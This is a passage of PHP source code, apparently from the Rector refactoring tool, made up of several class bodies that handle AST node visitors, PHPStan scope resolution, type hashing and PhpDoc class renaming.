instanceof Foreach_ || $node instanceof While_ || $node instanceof Do_ || $node instanceof Switch_) { $this->processContextInLoop($node); return null; } if ($node instanceof ArrayDimFetch) { $this->processInsideArrayDimFetch($node); return null; } if ($node instanceof Unset_) { $this->processContextInUnset($node); return null; } if ($node instanceof Attribute) { $this->processContextInAttribute($node); return null; } if ($node instanceof If_ || $node instanceof Else_ || $node instanceof ElseIf_) { $this->processContextInIf($node); return null; } if ($node instanceof Arg) { $node->value->setAttribute(AttributeKey::IS_ARG_VALUE, \true); return null; } if ($node instanceof Param) { $node->var->setAttribute(AttributeKey::IS_PARAM_VAR, \true); return null; } if ($node instanceof PostDec || $node instanceof PostInc || $node instanceof PreDec || $node instanceof PreInc) { $node->var->setAttribute(AttributeKey::IS_INCREMENT_OR_DECREMENT, \true); } $this->processContextInClass($node); return null; } private function processInsideArrayDimFetch(ArrayDimFetch $arrayDimFetch) : void { if ($arrayDimFetch->var instanceof PropertyFetch || $arrayDimFetch->var instanceof StaticPropertyFetch) { $arrayDimFetch->var->setAttribute(AttributeKey::INSIDE_ARRAY_DIM_FETCH, \true); } } private function processContextInClass(Node $node) : void { if ($node instanceof Class_) { if ($node->extends instanceof FullyQualified) { $node->extends->setAttribute(AttributeKey::IS_CLASS_EXTENDS, \true); } foreach ($node->implements as $implement) { $implement->setAttribute(AttributeKey::IS_CLASS_IMPLEMENT, \true); } } } private function processContextInAttribute(Attribute $attribute) : void { $this->simpleCallableNodeTraverser->traverseNodesWithCallable($attribute->args, static function (Node $subNode) { if ($subNode instanceof Array_) { $subNode->setAttribute(AttributeKey::IS_ARRAY_IN_ATTRIBUTE, \true); } return null; }); } private function processContextInUnset(Unset_ $unset) : void { foreach ($unset->vars as $var) { $var->setAttribute(AttributeKey::IS_UNSET_VAR, \true); } } /** * @param \PhpParser\Node\Stmt\If_|\PhpParser\Node\Stmt\Else_|\PhpParser\Node\Stmt\ElseIf_ $node */ private function processContextInIf($node) : void { foreach ($node->stmts as $stmt) { if ($stmt instanceof Break_) { $stmt->setAttribute(AttributeKey::IS_IN_IF, \true); } } } /** * @param \PhpParser\Node\Stmt\For_|\PhpParser\Node\Stmt\Foreach_|\PhpParser\Node\Stmt\While_|\PhpParser\Node\Stmt\Do_|\PhpParser\Node\Stmt\Switch_ $node */ private function processContextInLoop($node) : void { if ($node instanceof Foreach_) { if ($node->keyVar instanceof Variable) { $node->keyVar->setAttribute(AttributeKey::IS_VARIABLE_LOOP, \true); } $node->valueVar->setAttribute(AttributeKey::IS_VARIABLE_LOOP, \true); } $stmts = $node instanceof Switch_ ? $node->cases : $node->stmts; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmts, static function (Node $subNode) : ?int { if ($subNode instanceof Class_ || $subNode instanceof Function_ || $subNode instanceof Closure) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($subNode instanceof If_ || $subNode instanceof Break_) { $subNode->setAttribute(AttributeKey::IS_IN_LOOP, \true); } return null; }); } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } public function enterNode(Node $node) : ?Node { if (!$node instanceof StmtsAwareInterface) { return null; } if ($node->stmts === null) { return null; } /** @var string[] $globalVariableNames */ $globalVariableNames = []; foreach ($node->stmts as $stmt) { if (!$stmt instanceof Global_) { $this->setIsGlobalVarAttribute($stmt, $globalVariableNames); continue; } foreach ($stmt->vars as $variable) { if ($variable instanceof Variable && !$variable->name instanceof Expr) { $variable->setAttribute(AttributeKey::IS_GLOBAL_VAR, \true); $globalVariableNames[] = $variable->name; } } } return null; } /** * @param string[] $globalVariableNames */ private function setIsGlobalVarAttribute(Stmt $stmt, array $globalVariableNames) : void { if ($globalVariableNames === []) { return; } $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmt, static function (Node $subNode) use($globalVariableNames) { if ($subNode instanceof Class_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof Variable) { return null; } if ($subNode->name instanceof Expr) { return null; } if (!\in_array($subNode->name, $globalVariableNames, \true)) { return null; } $subNode->setAttribute(AttributeKey::IS_GLOBAL_VAR, \true); return $subNode; }); } } name instanceof Name) { $node->name->setAttribute(AttributeKey::IS_FUNCCALL_NAME, \true); return null; } if ($node instanceof ConstFetch) { $node->name->setAttribute(AttributeKey::IS_CONSTFETCH_NAME, \true); return null; } if ($node instanceof New_ && $node->class instanceof Name) { $node->class->setAttribute(AttributeKey::IS_NEW_INSTANCE_NAME, \true); return null; } if (!$node instanceof StaticCall) { return null; } if (!$node->class instanceof Name) { return null; } $node->class->setAttribute(AttributeKey::IS_STATICCALL_CLASS_NAME, \true); return null; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } public function enterNode(Node $node) : ?Node { if (!$node instanceof StmtsAwareInterface) { return null; } if ($node->stmts === null) { return null; } /** @var string[] $staticVariableNames */ $staticVariableNames = []; foreach ($node->stmts as $stmt) { if (!$stmt instanceof Static_) { $this->setIsStaticVarAttribute($stmt, $staticVariableNames); continue; } foreach ($stmt->vars as $staticVar) { if (!$staticVar->var->name instanceof Expr) { $staticVar->var->setAttribute(AttributeKey::IS_STATIC_VAR, \true); $staticVariableNames[] = $staticVar->var->name; } } } return null; } /** * @param string[] $staticVariableNames */ private function setIsStaticVarAttribute(Stmt $stmt, array $staticVariableNames) : void { if ($staticVariableNames === []) { return; } $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmt, static function (Node $subNode) use($staticVariableNames) { if ($subNode instanceof Class_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof Variable) { return null; } if ($subNode->name instanceof Expr) { return null; } if (!\in_array($subNode->name, $staticVariableNames, \true)) { return null; } $subNode->setAttribute(AttributeKey::IS_STATIC_VAR, \true); return $subNode; }); } } stmts === null) { return null; } $node->stmts = \array_values($node->stmts); // re-index stmt key under current node foreach ($node->stmts as $key => $childStmt) { $childStmt->setAttribute(AttributeKey::STMT_KEY, $key); } return null; } } nodeScopeResolver = $nodeScopeResolver; $this->reflectionProvider = $reflectionProvider; $this->scopeFactory = $scopeFactory; $this->privatesAccessor = $privatesAccessor; $this->nodeNameResolver = $nodeNameResolver; $this->classAnalyzer = $classAnalyzer; $this->nodeTraverser = new NodeTraverser(); foreach ($nodeVisitors as $nodeVisitor) { $this->nodeTraverser->addVisitor($nodeVisitor); } } /** * @param Stmt[] $stmts * @return Stmt[] */ public function processNodes(array $stmts, string $filePath, ?MutatingScope $formerMutatingScope = null) : array { /** * The stmts must be array of Stmt, or it will be silently skipped by PHPStan * @see vendor/phpstan/phpstan/phpstan.phar/src/Analyser/NodeScopeResolver.php:282 */ Assert::allIsInstanceOf($stmts, Stmt::class); $this->nodeTraverser->traverse($stmts); $scope = $formerMutatingScope ?? $this->scopeFactory->createFromFile($filePath); $hasUnreachableStatementNode = \false; $nodeCallback = function (Node $node, MutatingScope $mutatingScope) use(&$nodeCallback, $filePath, &$hasUnreachableStatementNode) : void { // the class reflection is resolved AFTER entering to class node // so we need to get it from the first after this one if ($node instanceof Class_ || $node instanceof Interface_ || $node instanceof Enum_) { /** @var MutatingScope $mutatingScope */ $mutatingScope = $this->resolveClassOrInterfaceScope($node, $mutatingScope); $node->setAttribute(AttributeKey::SCOPE, $mutatingScope); return; } if ($node instanceof Trait_) { $this->processTrait($node, $mutatingScope, $nodeCallback); return; } // special case for unreachable nodes // early check here as UnreachableStatementNode is special VirtualNode // so node to be checked inside if ($node instanceof UnreachableStatementNode) { $this->processUnreachableStatementNode($node, $filePath, $mutatingScope); $hasUnreachableStatementNode = \true; return; } // init current Node set Attribute // not a VirtualNode, then set scope attribute // do not return early, as its properties will be checked next if (!$node instanceof VirtualNode) { $node->setAttribute(AttributeKey::SCOPE, $mutatingScope); } if ($node instanceof FileWithoutNamespace) { $this->nodeScopeResolverProcessNodes($node->stmts, $mutatingScope, $nodeCallback); return; } $this->decorateNodeAttrGroups($node, $mutatingScope, $nodeCallback); if (($node instanceof Expression || $node instanceof Return_ || $node instanceof EnumCase || $node instanceof Cast) && $node->expr instanceof Expr) { $node->expr->setAttribute(AttributeKey::SCOPE, $mutatingScope); return; } if ($node instanceof Assign || $node instanceof AssignOp) { $this->processAssign($node, $mutatingScope); if ($node->var instanceof Variable && $node->var->name instanceof Expr) { $this->nodeScopeResolverProcessNodes([new Expression($node->var), new Expression($node->expr)], $mutatingScope, $nodeCallback); } return; } if ($node instanceof Ternary) { $this->processTernary($node, $mutatingScope); return; } if ($node instanceof BinaryOp) { $this->processBinaryOp($node, $mutatingScope); return; } if ($node instanceof Arg) { $node->value->setAttribute(AttributeKey::SCOPE, $mutatingScope); return; } if ($node instanceof Foreach_) { // decorate value as well $node->valueVar->setAttribute(AttributeKey::SCOPE, $mutatingScope); if ($node->valueVar instanceof Array_) { $this->processArray($node->valueVar, $mutatingScope); } return; } if ($node instanceof Array_) { $this->processArray($node, $mutatingScope); return; } if ($node instanceof Property) { $this->processProperty($node, $mutatingScope); return; } if ($node instanceof Switch_) { $this->processSwitch($node, $mutatingScope); return; } if ($node instanceof TryCatch) { $this->processTryCatch($node, $mutatingScope); return; } if ($node instanceof Catch_) { $this->processCatch($node, $filePath, $mutatingScope); return; } if ($node instanceof ArrayItem) { $this->processArrayItem($node, $mutatingScope); return; } if ($node instanceof NullableType) { $node->type->setAttribute(AttributeKey::SCOPE, $mutatingScope); return; } if ($node instanceof UnionType || $node instanceof IntersectionType) { foreach ($node->types as $type) { $type->setAttribute(AttributeKey::SCOPE, $mutatingScope); } return; } if ($node instanceof StaticPropertyFetch || $node instanceof ClassConstFetch) { $node->class->setAttribute(AttributeKey::SCOPE, $mutatingScope); $node->name->setAttribute(AttributeKey::SCOPE, $mutatingScope); return; } if ($node instanceof PropertyFetch) { $node->var->setAttribute(AttributeKey::SCOPE, $mutatingScope); $node->name->setAttribute(AttributeKey::SCOPE, $mutatingScope); return; } if ($node instanceof ConstFetch) { $node->name->setAttribute(AttributeKey::SCOPE, $mutatingScope); return; } if ($node instanceof CallLike) { $this->processCallike($node, $mutatingScope); return; } if ($node instanceof Match_) { $this->processMatch($node, $mutatingScope); return; } }; $this->nodeScopeResolverProcessNodes($stmts, $scope, $nodeCallback); $nodeTraverser = new NodeTraverser(); $nodeTraverser->addVisitor(new WrappedNodeRestoringNodeVisitor()); if ($hasUnreachableStatementNode) { $nodeTraverser->addVisitor(new UnreachableStatementNodeVisitor($this, $filePath, $scope)); } $nodeTraverser->traverse($stmts); return $stmts; } private function processMatch(Match_ $match, MutatingScope $mutatingScope) : void { $match->cond->setAttribute(AttributeKey::SCOPE, $mutatingScope); foreach ($match->arms as $arm) { if ($arm->conds !== null) { foreach ($arm->conds as $cond) { $cond->setAttribute(AttributeKey::SCOPE, $mutatingScope); } } $arm->body->setAttribute(AttributeKey::SCOPE, $mutatingScope); } } /** * @param Stmt[] $stmts * @param callable(Node $node, MutatingScope $scope): void $nodeCallback */ private function nodeScopeResolverProcessNodes(array $stmts, MutatingScope $mutatingScope, callable $nodeCallback) : void { try { $this->nodeScopeResolver->processNodes($stmts, $mutatingScope, $nodeCallback); } catch (ShouldNotHappenException $exception) { } } private function processCallike(CallLike $callLike, MutatingScope $mutatingScope) : void { if ($callLike instanceof StaticCall) { $callLike->class->setAttribute(AttributeKey::SCOPE, $mutatingScope); $callLike->name->setAttribute(AttributeKey::SCOPE, $mutatingScope); } elseif ($callLike instanceof MethodCall || $callLike instanceof NullsafeMethodCall) { $callLike->var->setAttribute(AttributeKey::SCOPE, $mutatingScope); $callLike->name->setAttribute(AttributeKey::SCOPE, $mutatingScope); } elseif ($callLike instanceof FuncCall) { $callLike->name->setAttribute(AttributeKey::SCOPE, $mutatingScope); } elseif ($callLike instanceof New_ && !$callLike->class instanceof Class_) { $callLike->class->setAttribute(AttributeKey::SCOPE, $mutatingScope); } } /** * @param \PhpParser\Node\Expr\Assign|\PhpParser\Node\Expr\AssignOp $assign */ private function processAssign($assign, MutatingScope $mutatingScope) : void { $assign->var->setAttribute(AttributeKey::SCOPE, $mutatingScope); $assign->expr->setAttribute(AttributeKey::SCOPE, $mutatingScope); } private function processArray(Array_ $array, MutatingScope $mutatingScope) : void { foreach ($array->items as $arrayItem) { if ($arrayItem instanceof ArrayItem) { $this->processArrayItem($arrayItem, $mutatingScope); } } } private function processArrayItem(ArrayItem $arrayItem, MutatingScope $mutatingScope) : void { if ($arrayItem->key instanceof Expr) { $arrayItem->key->setAttribute(AttributeKey::SCOPE, $mutatingScope); } $arrayItem->value->setAttribute(AttributeKey::SCOPE, $mutatingScope); } /** * @param callable(Node $trait, MutatingScope $scope): void $nodeCallback */ private function decorateNodeAttrGroups(Node $node, MutatingScope $mutatingScope, callable $nodeCallback) : void { // better to have AttrGroupsAwareInterface for all Node definition with attrGroups property // but because may conflict with StmtsAwareInterface patch, this needs to be here if (!$node instanceof Param && !$node instanceof ArrowFunction && !$node instanceof Closure && !$node instanceof ClassConst && !$node instanceof ClassLike && !$node instanceof ClassMethod && !$node instanceof EnumCase && !$node instanceof Function_ && !$node instanceof Property) { return; } foreach ($node->attrGroups as $attrGroup) { foreach ($attrGroup->attrs as $attr) { foreach ($attr->args as $arg) { $this->nodeScopeResolverProcessNodes([new Expression($arg->value)], $mutatingScope, $nodeCallback); } } } } private function processSwitch(Switch_ $switch, MutatingScope $mutatingScope) : void { // decorate value as well foreach ($switch->cases as $case) { $case->setAttribute(AttributeKey::SCOPE, $mutatingScope); } } private function processCatch(Catch_ $catch, string $filePath, MutatingScope $mutatingScope) : void { $varName = $catch->var instanceof Variable ? $this->nodeNameResolver->getName($catch->var) : null; $type = TypeCombinator::union(...\array_map(static function (Name $name) : ObjectType { return new ObjectType((string) $name); }, $catch->types)); $catchMutatingScope = $mutatingScope->enterCatchType($type, $varName); $this->processNodes($catch->stmts, $filePath, $catchMutatingScope); } private function processTryCatch(TryCatch $tryCatch, MutatingScope $mutatingScope) : void { if ($tryCatch->finally instanceof Finally_) { $tryCatch->finally->setAttribute(AttributeKey::SCOPE, $mutatingScope); } } private function processUnreachableStatementNode(UnreachableStatementNode $unreachableStatementNode, string $filePath, MutatingScope $mutatingScope) : void { $originalStmt = $unreachableStatementNode->getOriginalStatement(); $originalStmt->setAttribute(AttributeKey::IS_UNREACHABLE, \true); $originalStmt->setAttribute(AttributeKey::SCOPE, $mutatingScope); $this->processNodes([$originalStmt], $filePath, $mutatingScope); } private function processProperty(Property $property, MutatingScope $mutatingScope) : void { foreach ($property->props as $propertyProperty) { $propertyProperty->setAttribute(AttributeKey::SCOPE, $mutatingScope); if ($propertyProperty->default instanceof Expr) { $propertyProperty->default->setAttribute(AttributeKey::SCOPE, $mutatingScope); } } } private function processBinaryOp(BinaryOp $binaryOp, MutatingScope $mutatingScope) : void { $binaryOp->left->setAttribute(AttributeKey::SCOPE, $mutatingScope); $binaryOp->right->setAttribute(AttributeKey::SCOPE, $mutatingScope); } private function processTernary(Ternary $ternary, MutatingScope $mutatingScope) : void { if ($ternary->if instanceof Expr) { $ternary->if->setAttribute(AttributeKey::SCOPE, $mutatingScope); } $ternary->else->setAttribute(AttributeKey::SCOPE, $mutatingScope); } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_|\PhpParser\Node\Stmt\Enum_ $classLike */ private function resolveClassOrInterfaceScope($classLike, MutatingScope $mutatingScope) : MutatingScope { $isAnonymous = $this->classAnalyzer->isAnonymousClass($classLike); // is anonymous class? - not possible to enter it since PHPStan 0.12.33, see https://github.com/phpstan/phpstan-src/commit/e87fb0ec26f9c8552bbeef26a868b1e5d8185e91 if ($classLike instanceof Class_ && $isAnonymous) { $classReflection = $this->reflectionProvider->getAnonymousClassReflection($classLike, $mutatingScope); } else { $className = $this->resolveClassName($classLike); if (!$this->reflectionProvider->hasClass($className)) { return $mutatingScope; } $classReflection = $this->reflectionProvider->getClass($className); } try { return $mutatingScope->enterClass($classReflection); } catch (ShouldNotHappenException $exception) { } $context = $this->privatesAccessor->getPrivateProperty($mutatingScope, 'context'); $this->privatesAccessor->setPrivateProperty($context, 'classReflection', null); try { return $mutatingScope->enterClass($classReflection); } catch (ShouldNotHappenException $exception) { } return $mutatingScope; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_|\PhpParser\Node\Stmt\Trait_|\PhpParser\Node\Stmt\Enum_ $classLike */ private function resolveClassName($classLike) : string { if ($classLike->namespacedName instanceof Name) { return (string) $classLike->namespacedName; } if (!$classLike->name instanceof Identifier) { return ''; } return $classLike->name->toString(); } /** * @param callable(Node $trait, MutatingScope $scope): void $nodeCallback */ private function processTrait(Trait_ $trait, MutatingScope $mutatingScope, callable $nodeCallback) : void { $traitName = $this->resolveClassName($trait); if (!$this->reflectionProvider->hasClass($traitName)) { $trait->setAttribute(AttributeKey::SCOPE, $mutatingScope); $this->nodeScopeResolverProcessNodes($trait->stmts, $mutatingScope, $nodeCallback); $this->decorateNodeAttrGroups($trait, $mutatingScope, $nodeCallback); return; } $traitClassReflection = $this->reflectionProvider->getClass($traitName); $traitScope = clone $mutatingScope; /** @var ScopeContext $scopeContext */ $scopeContext = $this->privatesAccessor->getPrivateProperty($traitScope, self::CONTEXT); $traitContext = clone $scopeContext; // before entering the class/trait again, we have to tell scope no class was set, otherwise it crashes $this->privatesAccessor->setPrivateProperty($traitContext, 'classReflection', $traitClassReflection); $this->privatesAccessor->setPrivateProperty($traitScope, self::CONTEXT, $traitContext); $trait->setAttribute(AttributeKey::SCOPE, $traitScope); $this->nodeScopeResolverProcessNodes($trait->stmts, $traitScope, $nodeCallback); $this->decorateNodeAttrGroups($trait, $traitScope, $nodeCallback); } } phpStanScopeFactory = $phpStanScopeFactory; } public function createFromFile(string $filePath) : MutatingScope { $scopeContext = ScopeContext::create($filePath); return $this->phpStanScopeFactory->create($scopeContext); } } unionTypeAnalyzer = $unionTypeAnalyzer; } public function isAlwaysTruableType(Type $type) : bool { if ($type instanceof MixedType) { return \false; } if ($type instanceof ConstantArrayType) { return \true; } if ($type instanceof ArrayType) { return $this->isAlwaysTruableArrayType($type); } if ($type instanceof UnionType && $this->unionTypeAnalyzer->isNullable($type)) { return \false; } // always trueish if ($type instanceof ObjectType) { return \true; } if ($type instanceof ConstantScalarType && !$type instanceof NullType) { return (bool) $type->getValue(); } if ($type->isScalar()->yes()) { return \false; } return $this->isAlwaysTruableUnionType($type); } private function isAlwaysTruableUnionType(Type $type) : bool { if (!$type instanceof UnionType) { return \false; } foreach ($type->getTypes() as $unionedType) { if (!$this->isAlwaysTruableType($unionedType)) { return \false; } } return \true; } private function isAlwaysTruableArrayType(ArrayType $arrayType) : bool { $itemType = $arrayType->getItemType(); if (!$itemType instanceof ConstantScalarType) { return \false; } return (bool) $itemType->getValue(); } } typeHasher = $typeHasher; } /** * @param Type[] $types */ public function createMixedPassedOrUnionTypeAndKeepConstant(array $types) : Type { $types = $this->unwrapUnionedTypes($types); $types = $this->uniquateTypes($types, \true); return $this->createUnionOrSingleType($types); } /** * @param Type[] $types */ public function createMixedPassedOrUnionType(array $types, bool $keepConstantTypes = \false) : Type { $types = $this->unwrapUnionedTypes($types); $types = $this->uniquateTypes($types, $keepConstantTypes); return $this->createUnionOrSingleType($types); } /** * @template TType as Type * @param array $types * @return array */ public function uniquateTypes(array $types, bool $keepConstant = \false) : array { $constantTypeHashes = []; $uniqueTypes = []; $totalTypes = \count($types); $hasFalse = \false; $hasTrue = \false; foreach ($types as $type) { $type = $this->normalizeObjectType($totalTypes, $type); $type = $this->normalizeBooleanType($hasFalse, $hasTrue, $type); $removedConstantType = $this->removeValueFromConstantType($type); $removedConstantTypeHash = $this->typeHasher->createTypeHash($removedConstantType); if ($keepConstant && $type !== $removedConstantType) { $typeHash = $this->typeHasher->createTypeHash($type); $constantTypeHashes[$typeHash] = $removedConstantTypeHash; } else { $type = $removedConstantType; $typeHash = $removedConstantTypeHash; } $uniqueTypes[$typeHash] = $type; } foreach ($constantTypeHashes as $constantTypeHash => $removedConstantTypeHash) { if (\array_key_exists($removedConstantTypeHash, $uniqueTypes)) { unset($uniqueTypes[$constantTypeHash]); } } // re-index return \array_values($uniqueTypes); } private function normalizeObjectType(int $totalTypes, Type $type) : Type { if ($totalTypes > 1 && $type instanceof ObjectWithoutClassTypeWithParentTypes) { $parents = $type->getParentTypes(); return new ObjectType($parents[0]->getClassName()); } return $type; } private function normalizeBooleanType(bool &$hasFalse, bool &$hasTrue, Type $type) : Type { if ($type instanceof ConstantBooleanType) { if ($type->getValue()) { $hasTrue = \true; } if ($type->getValue() === \false) { $hasFalse = \true; } } if ($hasFalse && $hasTrue && $type instanceof ConstantBooleanType) { return new BooleanType(); } return $type; } /** * @param Type[] $types * @return Type[] */ private function unwrapUnionedTypes(array $types) : array { // unwrap union types $unwrappedTypes = []; foreach ($types as $type) { $flattenTypes = TypeUtils::flattenTypes($type); foreach ($flattenTypes as $flattenType) { if ($flattenType instanceof ConstantArrayType) { $unwrappedTypes = \array_merge($unwrappedTypes, $this->unwrapConstantArrayTypes($flattenType)); } else { $unwrappedTypes = $this->resolveNonConstantArrayType($flattenType, $unwrappedTypes); } } } return $unwrappedTypes; } /** * @param Type[] $unwrappedTypes * @return Type[] */ private function resolveNonConstantArrayType(Type $type, array $unwrappedTypes) : array { $unwrappedTypes[] = $type; return $unwrappedTypes; } /** * @param Type[] $types */ private function createUnionOrSingleType(array $types) : Type { if ($types === []) { return new MixedType(); } if (\count($types) === 1) { return $types[0]; } return new UnionType($types); } private function removeValueFromConstantType(Type $type) : Type { // remove values from constant types if ($type instanceof ConstantFloatType) { return new FloatType(); } if ($type instanceof ConstantStringType) { return new StringType(); } if ($type instanceof ConstantIntegerType) { return new IntegerType(); } if ($type instanceof ConstantBooleanType) { return new BooleanType(); } return $type; } /** * @return Type[] */ private function unwrapConstantArrayTypes(ConstantArrayType $constantArrayType) : array { $unwrappedTypes = []; $flattenKeyTypes = TypeUtils::flattenTypes($constantArrayType->getKeyType()); $flattenItemTypes = TypeUtils::flattenTypes($constantArrayType->getItemType()); foreach ($flattenItemTypes as $position => $nestedFlattenItemType) { $nestedFlattenKeyType = $flattenKeyTypes[$position] ?? null; if (!$nestedFlattenKeyType instanceof Type) { $nestedFlattenKeyType = new MixedType(); } $unwrappedTypes[] = new ArrayType($nestedFlattenKeyType, $nestedFlattenItemType); } return $unwrappedTypes; } } createTypeHash($firstType) === $this->createTypeHash($secondType); } public function createTypeHash(Type $type) : string { if ($type instanceof MixedType) { return $type->describe(VerbosityLevel::precise()) . $type->isExplicitMixed(); } if ($type instanceof ArrayType) { return $this->createTypeHash($type->getItemType()) . $this->createTypeHash($type->getKeyType()) . '[]'; } if ($type instanceof GenericObjectType) { return $type->describe(VerbosityLevel::precise()); } if ($type instanceof TypeWithClassName) { return $this->resolveUniqueTypeWithClassNameHash($type); } if ($type instanceof ConstantType) { return \get_class($type); } $type = $this->normalizeObjectType($type); return $type->describe(VerbosityLevel::value()); } private function resolveUniqueTypeWithClassNameHash(TypeWithClassName $typeWithClassName) : string { if ($typeWithClassName instanceof ShortenedObjectType) { return $typeWithClassName->getFullyQualifiedName(); } if ($typeWithClassName instanceof AliasedObjectType) { return $typeWithClassName->getFullyQualifiedName(); } return $typeWithClassName->getClassName(); } private function normalizeObjectType(Type $type) : Type { return TypeTraverser::map($type, static function (Type $currentType, callable $traverseCallback) : Type { if ($currentType instanceof ShortenedObjectType) { return new FullyQualifiedObjectType($currentType->getFullyQualifiedName()); } if ($currentType instanceof AliasedObjectType) { return new FullyQualifiedObjectType($currentType->getFullyQualifiedName()); } if ($currentType instanceof ObjectType && !$currentType instanceof GenericObjectType && $currentType->getClassName() !== 'Iterator' && $currentType->getClassName() !== 'iterable') { return new FullyQualifiedObjectType($currentType->getClassName()); } return $traverseCallback($currentType); }); } } classRenamePhpDocNodeVisitor = $classRenamePhpDocNodeVisitor; } /** * @param OldToNewType[] $oldToNewTypes */ public function renamePhpDocType(PhpDocInfo $phpDocInfo, array $oldToNewTypes, Node $currentPhpNode) : bool { if ($oldToNewTypes === []) { return \false; } $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->addPhpDocNodeVisitor($this->classRenamePhpDocNodeVisitor); $this->classRenamePhpDocNodeVisitor->setCurrentPhpNode($currentPhpNode); $this->classRenamePhpDocNodeVisitor->setOldToNewTypes($oldToNewTypes); $phpDocNodeTraverser->traverse($phpDocInfo->getPhpDocNode()); return $this->classRenamePhpDocNodeVisitor->hasChanged(); } } nameImportingPhpDocNodeVisitor = $nameImportingPhpDocNodeVisitor; } public function importNames(PhpDocNode $phpDocNode, Node $node) : bool { if ($phpDocNode->children === []) { return \false; } $this->nameImportingPhpDocNodeVisitor->setCurrentNode($node); $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->addPhpDocNodeVisitor($this->nameImportingPhpDocNodeVisitor); $phpDocNodeTraverser->traverse($phpDocNode); return $this->nameImportingPhpDocNodeVisitor->hasChanged(); } } annotationNaming = $annotationNaming; } public function replaceTagByAnother(PhpDocInfo $phpDocInfo, string $oldTag, string $newTag) : bool { $hasChanged = \false; $oldTag = $this->annotationNaming->normalizeName($oldTag); $newTag = $this->annotationNaming->normalizeName($newTag); $phpDocNode = $phpDocInfo->getPhpDocNode(); foreach ($phpDocNode->children as $key => $phpDocChildNode) { if (!$phpDocChildNode instanceof PhpDocTagNode) { continue; } if ($phpDocChildNode->name !== $oldTag) { continue; } unset($phpDocNode->children[$key]); $phpDocNode->children[] = new PhpDocTagNode($newTag, new GenericTagValueNode('')); $hasChanged = \true; } return $hasChanged; } } staticTypeMapper = $staticTypeMapper; $this->useImportsResolver = $useImportsResolver; $this->renamedNameCollector = $renamedNameCollector; } public function setCurrentPhpNode(PhpNode $phpNode) : void { $this->currentPhpNode = $phpNode; } public function beforeTraverse(Node $node) : void { if ($this->oldToNewTypes === []) { throw new ShouldNotHappenException('Configure "$oldToNewClasses" first'); } if (!$this->currentPhpNode instanceof PhpNode) { throw new ShouldNotHappenException('Configure "$currentPhpNode" first'); } $this->hasChanged = \false; } public function enterNode(Node $node) : ?Node { if (!$node instanceof IdentifierTypeNode) { return null; } /** @var \PhpParser\Node $currentPhpNode */ $currentPhpNode = $this->currentPhpNode; $identifier = clone $node; $identifier->name = $this->resolveNamespacedName($identifier, $currentPhpNode, $node->name); $staticType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($identifier, $currentPhpNode); // make sure to compare FQNs $objectType = $this->expandShortenedObjectType($staticType); foreach ($this->oldToNewTypes as $oldToNewType) { /** @var ObjectType $oldType */ $oldType = $oldToNewType->getOldType(); if (!$objectType->equals($oldType)) { continue; } $newTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPHPStanPhpDocTypeNode($oldToNewType->getNewType()); $parentType = $node->getAttribute(PhpDocAttributeKey::PARENT); if ($parentType instanceof TypeNode) { // mirror attributes $newTypeNode->setAttribute(PhpDocAttributeKey::PARENT, $parentType); } $this->hasChanged = \true; $this->renamedNameCollector->add($oldType->getClassName()); return $newTypeNode; } return null; } /** * @param OldToNewType[] $oldToNewTypes */ public function setOldToNewTypes(array $oldToNewTypes) : void { $this->oldToNewTypes = $oldToNewTypes; } public function hasChanged() : bool { return $this->hasChanged; } private function resolveNamespacedName(IdentifierTypeNode $identifierTypeNode, PhpNode $phpNode, string $name) : string { if (\strncmp($name, '\\', \strlen('\\')) === 0) { return $name; } if (\strpos($name, '\\') !== \false) { return $name; } $staticType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($identifierTypeNode, $phpNode); if (!$staticType instanceof ObjectType) { return $name; } if ($staticType instanceof ShortenedObjectType) { return $name; } $uses = $this->useImportsResolver->resolve(); $originalNode = $phpNode->getAttribute(AttributeKey::ORIGINAL_NODE); $scope = $originalNode instanceof PhpNode ? $originalNode->getAttribute(AttributeKey::SCOPE) : $phpNode->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { if (!$originalNode instanceof PhpNode) { return $this->resolveNamefromUse($uses, $name); } return ''; } $namespaceName = $scope->getNamespace(); if ($namespaceName === null) { return $this->resolveNamefromUse($uses, $name); } if ($uses === []) { return $namespaceName . '\\' . $name; } $nameFromUse = $this->resolveNamefromUse($uses, $name); if ($nameFromUse !== $name) { return $nameFromUse; } return $namespaceName . '\\' . $nameFromUse; } /** * @param array $uses */ private function resolveNamefromUse(array $uses, string $name) : string { foreach ($uses as $use) { $prefix = $this->useImportsResolver->resolvePrefix($use); foreach ($use->uses as $useUse) { if ($useUse->alias instanceof Identifier) { continue; } $lastName = $useUse->name->getLast(); if ($lastName === $name) { return $prefix . $useUse->name->toString(); } } } return $name; } /** * @return \PHPStan\Type\ObjectType|\PHPStan\Type\Type */ private function expandShortenedObjectType(Type $type) { if ($type instanceof ShortenedObjectType) { return new ObjectType($type->getFullyQualifiedName()); } return $type; } } classNameImportSkipper = $classNameImportSkipper; $this->useNodesToAddCollector = $useNodesToAddCollector; $this->currentFileProvider = $currentFileProvider; $this->reflectionProvider = $reflectionProvider; $this->identifierPhpDocTypeMapper = $identifierPhpDocTypeMapper; } public function beforeTraverse(\PHPStan\PhpDocParser\Ast\Node $node) : void { if (!$this->currentPhpParserNode instanceof PhpParserNode) { throw new ShouldNotHappenException('Set "$currentPhpParserNode" first'); } } public function enterNode(Node $node) : ?Node { if ($node instanceof SpacelessPhpDocTagNode) { return $this->enterSpacelessPhpDocTagNode($node); } if ($node instanceof DoctrineAnnotationTagValueNode) { $this->processDoctrineAnnotationTagValueNode($node); return $node; } if (!$node instanceof IdentifierTypeNode) { return null; } if 